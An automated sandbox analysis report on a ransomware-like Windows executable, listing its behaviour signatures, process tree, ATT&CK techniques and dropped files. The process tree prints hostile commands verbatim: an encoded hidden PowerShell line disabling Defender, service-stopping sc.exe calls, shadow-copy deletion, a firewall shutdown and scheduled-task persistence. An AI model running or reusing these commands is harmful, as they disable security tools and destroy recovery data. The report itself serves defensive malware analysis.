Overview

overview

10

Static

static

10

internal.s...om.exe

windows10-2004-x64

10

internal.s...om.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/04/2026, 07:06

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General

  • Target
    internal.safesecurityfrour.com.exe
  • Size 52KB
  • Sample260420-hw6vdafz21
  • SHA256 d0c5ef08ceca6e481a334c70718540b9e594352d068dfc1c0099609e4db796c0
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionimpactpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 25 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\internal.safesecurityfrour.com.exe
    "C:\Users\Admin\AppData\Local\Temp\internal.safesecurityfrour.com.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1860
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2220
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2128
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4436
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:1876
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:3472
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2272
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2000
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:3204
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4980
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3140
      • C:\Users\Admin\AppData\Local\Temp\internal.safesecurityfrour.com.exe
        "C:\Users\Admin\AppData\Local\Temp\internal.safesecurityfrour.com.exe"
        3⤵
          PID:212
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:4136
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\internal.safesecurityfrour.com.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:976
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3476
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:8
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1356
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3944
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:2868
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4540
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3272
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4232
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1252
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2552
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3376
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:1936
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3204
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:904
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1220
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:2984
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\internal.safesecurityfrour.com.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1876
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:1004
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:3436
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:4116
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3724
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2408
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:4584
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:4312
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:2660
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:876
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa399f855 /state1:0x41c64e6d
                1⤵
                • Drops desktop.ini file(s)
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:2844
              • C:\Users\Admin\AppData\Local\Temp\internal.safesecurityfrour.com.exe
                C:\Users\Admin\AppData\Local\Temp\internal.safesecurityfrour.com.exe
                1⤵
                  PID:1328
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:540
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                  1⤵
                    PID:1876

                  Network

                        MITRE ATT&CK Enterprise v16

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        2
                        T1059

                        PowerShell

                        1
                        T1059.001

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        System Services

                        2
                        T1569

                        Service Execution

                        2
                        T1569.002

                        Windows Management Instrumentation

                        1
                        T1047

                        Persistence

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Create or Modify System Process

                        4
                        T1543

                        Windows Service

                        4
                        T1543.003

                        Event Triggered Execution

                        1
                        T1546

                        Netsh Helper DLL

                        1
                        T1546.007

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Privilege Escalation

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Create or Modify System Process

                        4
                        T1543

                        Windows Service

                        4
                        T1543.003

                        Event Triggered Execution

                        1
                        T1546

                        Netsh Helper DLL

                        1
                        T1546.007

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Defense Evasion

                        Direct Volume Access

                        1
                        T1006

                        Impair Defenses

                        3
                        T1562

                        Disable or Modify System Firewall

                        1
                        T1562.004

                        Disable or Modify Tools

                        1
                        T1562.001

                        Indicator Removal

                        2
                        T1070

                        File Deletion

                        2
                        T1070.004

                        Modify Registry

                        3
                        T1112

                        Credential Access

                        Credentials from Password Stores

                        1
                        T1555

                        Credentials from Web Browsers

                        1
                        T1555.003

                        Unsecured Credentials

                        1
                        T1552

                        Credentials In Files

                        1
                        T1552.001

                        Discovery

                        Browser Information Discovery

                        1
                        T1217

                        Process Discovery

                        1
                        T1057

                        Query Registry

                        2
                        T1012

                        System Information Discovery

                        4
                        T1082

                        Lateral Movement

                        Collection

                        Data from Local System

                        1
                        T1005

                        Command and Control

                        Exfiltration

                        Impact

                        Defacement

                        1
                        T1491

                        Inhibit System Recovery

                        2
                        T1490

                        Service Stop

                        2
                        T1489

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        LockScreen___1920_1080_notdimmed.jpg
                        • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-745935970-1373868228-562466063-1000\ReadOnly\LockScreen_O\LockScreen___1920_1080_notdimmed.jpg
                        • Size 396KB
                        • SHA256 88bb8f64f9dec566db13ba930626462541ad5a10bc7f32d1a9a9637f40586ebb
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        invoice_1.pdf
                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 70KB
                        • SHA256 cd3c2faeb79931b2e01103f8a90031e8aed22bd2568b3271488b78c26e37d0ee
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        doc_3.pdf
                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 69KB
                        • SHA256 d1378cd2629dc0825523fd72a7e2cfb9d41ff2d1cf7954e0f92f9d44c8f2e9b0
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        internal.safesecurityfrour.com.exe.log
                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\internal.safesecurityfrour.com.exe.log
                        • Size 660B
                        • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        __PSScriptPolicyTest_o1rsr4by.cex.ps1
                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o1rsr4by.cex.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        createshortcut.vbs
                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 255B
                        • SHA256 14b1bfb2da311d9c5bf5a667bbefd63c219bef3d9ab2eadc79076a39935624fa
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        del.bat
                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        makelnk.vbs
                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 256B
                        • SHA256 3a335c809b43b7fe0ba58449ed2b416bb0c60c4192e4686694f635a0ef1d4fe6
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        sysupdate.exe
                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 52KB
                        • SHA256 d0c5ef08ceca6e481a334c70718540b9e594352d068dfc1c0099609e4db796c0
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        memory/1004-2250-0x000001EEF8200000-0x000001EEF820C000-memory.dmp
                        Download

                        memory/1860-1-0x0000000002B30000-0x0000000002B40000-memory.dmp
                        Download

                        memory/1860-14-0x000000001E070000-0x000000001E232000-memory.dmp
                        Download

                        memory/1860-15-0x000000001E240000-0x000000001E768000-memory.dmp
                        Download

                        memory/1860-0-0x0000000000A70000-0x0000000000A84000-memory.dmp
                        Download

                        memory/1860-2262-0x0000000002B30000-0x0000000002B40000-memory.dmp
                        Download

                        memory/1860-2261-0x0000000001330000-0x000000000133C000-memory.dmp
                        Download

                        memory/2220-30-0x00000276331F0000-0x00000276331FC000-memory.dmp
                        Download

                        memory/2220-24-0x0000027634FE0000-0x0000027635002000-memory.dmp
                        Download

                        memory/3436-2256-0x000002641D020000-0x000002641D021000-memory.dmp
                        Download

                        memory/4136-2240-0x0000019D64460000-0x0000019D6446C000-memory.dmp
                        Download